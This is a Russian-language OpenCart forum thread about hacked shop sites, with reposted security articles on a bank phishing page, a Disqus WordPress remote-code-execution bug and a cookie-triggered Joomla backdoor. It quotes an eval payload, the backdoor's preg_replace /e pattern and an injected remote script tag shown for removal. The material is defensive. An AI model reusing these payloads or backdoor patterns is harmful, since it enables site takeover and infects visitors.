Search the Community

Всем читателям привет! Обращаюсь с просьбой помочь в решении следующей проблемы. Ситуация следующая: Есть сайт на OPENCARTe (54-mebel.ru) с компьютера загружается без проблем, все работает. Но при попытки загрузить сайт с мобильного устройства, сайт не загружается как положено(пробовал через Iphone и HUAWEI). Делал так: ищем сайт в браузере (или забивает в строке поиска адрес сайта) переходим на него, сайт грузится и когда остается %20 загрузки,он(полоса загрузки) останавливается, секунды через 1-2 загружается полностью,но справа в верхнем углу всплывает непонятный белый квадрат. через некоторое время (когда меняешь размер изображения) сайт выбрасывает на пустой фон, такая ситуация на телефоне HUAWEI. На Iphone, при аналогичной процедуре, после полной загрузки сайта, открывается главная страница потом сразу выскакивает Моби Букс, которую никак не закрыть, не переместить. Раньше такого не было...с телефона загружался сайт без проблем. Может у кого-то что-то подобное было, просьба отписать способ решения. Заранее благодарен!

Это перепечатка статьи "Вам кажется , что ваш сайт взломан? Значит, так и есть." с сайта: http://virusdie.ru/blog/2014/06/19/ismywebsitehacked/ Основная проблема с фишингом и причина, по которой так много людей подвергаются риску, заключается в том, что вредоносный фишинговый код трудно обнаружить. Почти во всех случаях он не выглядит подозрительным, он не обфусцирован, не зашифрован. Он выглядит так же, как и обычный код. Ну, почти. Зачастую, владельцы веб-сайтов не будет знать о том, что их сайт взломали и производят фишинг-атаки с его использованием, пока посетители сайта не информируют их. Найти фишинг-страницы зачастую также сложно, как отыскать иголку в стоге сена. Вот почему дальнейшая история столь поучительна. Проблема Недавно, одному из наших клиентов потребовалась помощь нашей экспертной группы, поскольку автоматическое сканирование и лечение не справлялось с задачей. Тогда то, один из наших экспертов обнаружил интересную фишинговую страницу. Где была инъекция? В последнее время хакеры предпочитают прятать вредоносный код «оставляя его на виду». Код стараются делать максимально похожим на нормальный так, чтобы при беглом просмотре исходника взгляд специалиста не цеплялся бы за что-то подозрительное, за что-то, чего в этом месте быть не должно. Для скрытия фишинговых страниц не используются вредоносные скрипты или iframe. В этом конкретном случае странице не содержит ни подозрительных функций, ни обращений к русским доменам. Она просто содержит инпуты для ввода текста, такие же, как на миллионах обычных страниц любых сайтов. Для того же, чтобы найти что-то конкретное вам придется научиться думать как хакер. На что обычно нацелено фишинговое мошенничество? Вот здесь-то как раз важно знать на что нацелен фишинг в обычных случаях. В большинстве случаев злоумышленники хотят получить банковские данные, данные кредитных карт и пароли. Что же мы сделали? Мы просто решили поискать по контенту файлов, что же мы найдем по вхождению строки "bank" и вот что мы обнаружили: Видите? title_netbank.jpg выглядит подозрительно. Но это всего лишь одна ссылка в index.htm на файл с картинкой .jpg, которая и приведет нас на фишинговые страницы. На этом мы не остановились и вот что нашли в файле .htaccess в этом каталоге: Видно, что это список IP адресов, с которых доступен просмотр фишинговых страниц. В этом случае, только пользователи с Датскими IP адресами будут перенаправлены на фишинговые страницы. Злоумышленники таким образом концентрируются на краже данных пользователей только необходимой им группы, именно на тех, кто с большей вероятностью воспользуется фишинговой страницей. Другие же пользователи для злоумышленников не интересны и нет ни какой необходимости пытаться взять их данные. Вот так выглядела фишинговая страница. Пользователи перенаправлялись на страницу, похожую на стандартные страницы Nordea Bank AB (Nordea Bank — это крупная европейская финансовая группа). Вы едва ли слышали про Nordea, но пользователи из Северной Европы хорошо ее знают. Вот почему именно их IP адреса были в .htaccess. Так к чему мы все это Этот конкретный случай, естественно, не был сколько-нибудь экстравагантным и изощренным. Код не обфусцирован. Мы достаточно просто нашли его и удалили. Все, что мы хотели здесь сказать, это то, что если вам кажется, что ваш сайт заражен, то скорее всего так и есть. Эта статья взята с сайта virusdie.ru

Это перепечатка статьи "Уязвимость в плагине Disqus для WordPress" с сайта: http://virusdie.ru/blog/2014/06/23/disquswpbackdoor/ Мы недавно обнаружили уязвимости в плагине Disqus Comment System plugin для WordPress. Эта уязвимость, в специфических условиях, может позволить злоумышленнику удаленно выполнить код (RCE — Remote Code Execution). Другими словами, злоумышленник может делать все что хочет с такими уязвимыми сайтами. Хотя сам плагин потенциально очень опасен, но эта опасность проявляется только лишь на серверах с WordPress с версией PHP 5.1.6 и ниже. Это также означает, что только пользователи WordPress 3.1.4 (и более ранних версий) подвержены атаке, поскольку WordPress более поздних версий не поддерживает версии PHP, «обнажающие» уязвимость. Зная, что целевая аудитория подобной уязвимости крайне мала, мы решили сделать свое открытие общедоступным и у Disqus вышел новый патч, закрывающий уязвимость (patched version 2.76). Мы по прежнему рекомендуем каждому пользователю Disqus прежнему произвести обновление как можно скорее. Disqus RCE уязвимостьDisqus RCE уязвимость Все началось с анализа одного JSON-парсера, в котором мы нашли следующий любопытный код: По некоторым причинам, распаршиваемый контент возвращается из eval(), которая затем подставляется в вызываемую функцию. Как вы знаете, функция eval() в PHP выполняет любой код, переданный в нее. Итак, мы имеем потенциальный RCE код в виде строки, возвращаемой eval() в двойных кавычках, что означает, что мы можем использовать синтаксис PHP для разбора сложных переменных, заставляя скрипт выполнить любые функции, которые захотим, например: {${phpinfo()}}. Направление атаки Все что нам было нужно — это найти место для хранения вредоносного кода, чтобы затем он сработал по триггеру через уязвимость с вызовом eval(). Чтобы это сделать нам необходимо проверять обрабатываются ли данные пользователя через функцию getNextToken(). Нашей первой догадкой было предположение, что оставляемые комментарии, отправляемые через Disqus, идут на их серверы, соответственно, можно было предположить обратное: получение комментариев для определенного поста с их же сервера. Мы оказались правы. Недолгий поиск привел нас к некоторой функциональности, позволяющей синхронизовать комменты. Эта функциональность могла быть активирована гостевым любым пользователем, причем, он мог добавить некоторые параметры прямо к URL, например: http://somesite.com/?cf_action=sync_comments&post_id=TARGET_POST_ID Все, что нам оставалось — это проверить все, что мы нашли на практике. Теперь мы знали, что обнаружили работающую уязвимость и все, что нужно было для ее активации: Запостить вредоносный код в коммент Получить ID поста Вызвать синхронизацию комментариев добавлением параметров (которые мы привели ранее) к URL Все готово! Выглядит просто, не так ли? Так вот, если вы используете устаревшую версию WordPress/PHP, вам следует обновиться на Disqus. Всем другим пользователям мы также рекомендуем обновлять движки в момент их выхода. Это статья с сайта virusdie.ru

Небольшой пост об интересном бэкдоре, который мы нашли в плагине для Joomla. Этот бэкдор был так умело сделан, что сначала мы даже не понял, был ли это бэкдор или нет, хотя и знали, что здесь что-то не так. Вот как выглядел код плагина: На первый взгляд ничего подозрительного не видно. Ничего не зашифровано, ничего не обфусцировано, нет ни каких странных комментариев. Просто нормальный код плагина для Джумлы. Если посмотреть более внимательно, то вы увидите, что конструктор класса не является тем, чем кажется на первый взгляд. Первое, что можно заметить — это то, что die(); стоит в конце кода. Эта функция завершает выполнение текущего скрипта. Однако, это плагин для Joomla, что означает, что die(); убьет все процессы в Joomla. Как вы понимаете это не очень хорошо для плагина, особенно на стадии инициализации. Теперь вы можете заметить это: /123/e. Напоминает регулярное выражение с evalфлагом, которое мы постоянно видим в различных бэкдорах с "preg_replace". Видно, что если заменить $option на preg_replace, то получается типичный бэкдор с "preg_replace": preg_replace(«/123/e», $auth, 123); Поскольку 123 всегда равно 123, то код всегда будет принимать значение переменной $auth. Для того, чтобы наша гипотеза была верна, $option должно быть равно "preg_replace", а $auth должна содержать PHP код. Давайте посмотрим, возможно ли это. Видно, что обе переменные заполняются из Cookie, так что да — это вполне возможно. Как работает бэкдор. Описанный код предполагает, что бэкдор работает следующим образом: После того, как плагин был установлен на Joomla, он запускается каждый раз при загрузке любой страницы и конструктор класса в плагине всегда запускается на выполнение. P3 – этот триггер вызывает выполнение бэкдора. Без него Джумла работает как обычно. P2 — этот кук должен быть "preg_replace", P3 — здесь передается произвольный PHP код. Не все плагины вредоносны. В отличие от WordPress плагинов, о которых мы недавно писали, где вредоносный код был подсажен «пиратами»(которые пересобрали коммерческий плагин уже со своим бэкдором) этот случай не выглядит так, будто владелец сайта скачал на каком-то подозрительном ресурсе этот плагин для Joomla. Плагин InstantSuggestявляется бесплатным и едва ли широко известен (менее 400 загрузок ). Его реальный код не содержит функцию _counstruct(). Более вероятный сценарий заключается в следующем. Бэкдор был добавлен хакерами после взлома сайта, чтобы сохранить доступ к нему, даже если исходный дыра в безопасности была бы закрыта. Более того, похоже, что хакеры не встраивали бэкдор в уже существующий плагин, а просто установили свой плагин с бэкдором. Это проще, чем изменять существующие файлы, что может нарушить работу сайта и раскрыть попытку взлома. Кроме того, такой способ требует более сложного инжектора. В качестве доказательства этой гипотезы мы искали в Интернете бэкдор коды и всегда обнаруживали его внутри кода instantsuggest. Кстати, этот код также используется вне контекста Joomla с Joomla API запросами, подменяемыми простым вызовом @$_COOKIE. Даже в этих тех случаях он по-прежнему окружен кодомinstantsuggest. Похоже, злоумышленники считают, что это делает код менее подозрительным :) Оригинальный текст статьи здесь.

Сегодня ко мне обратились заказчики интернет магазина "mag-shop.ru" У них перестали работать кнопки купить. Я 3 часа разбирался, и выяснил следующее. В нашем с вами скрипте интернет-магазина есть дыра через которую злоумышленники добавлят свой код. Масштабы пока оценить невозможно. Разобрался пока как удалить вредноносный код который отключает кнопку купить. Посмотрите исходный код. В самом низу появляется код <script src="http://statforme.dyndns.biz/rss.js"></script> это и есть вирус. Удалить его можно отредактировав в корне сайта index.php в самом низу // Output $response->output(); echo '<script src="http://statforme.dyndns.biz/rss.js"></script>'; ?> Нужно сделать // Output $response->output(); ?>

Доброго времени суток всем. Прошу сразу извинить меня за две одинаковые темы в разных разделах. Проблема у меня, прошу помочь решить. Уже много пользователей пишут мне, что при входе на сайт, ругается антивирус. У некоторых в порядке все, а у некоторых пищит антивирус. Хостеру написал, он сказал что вирусов нет. Но даже упала посещаемость на -150 уникальных в сутки. Сайт profifarma.com Прошу помочь мне решить этот вопрос! За реальное решение этой проблемы, я в долгу конечно не останусь ! Расчитываю на вашу помощь! Заранее благодарен!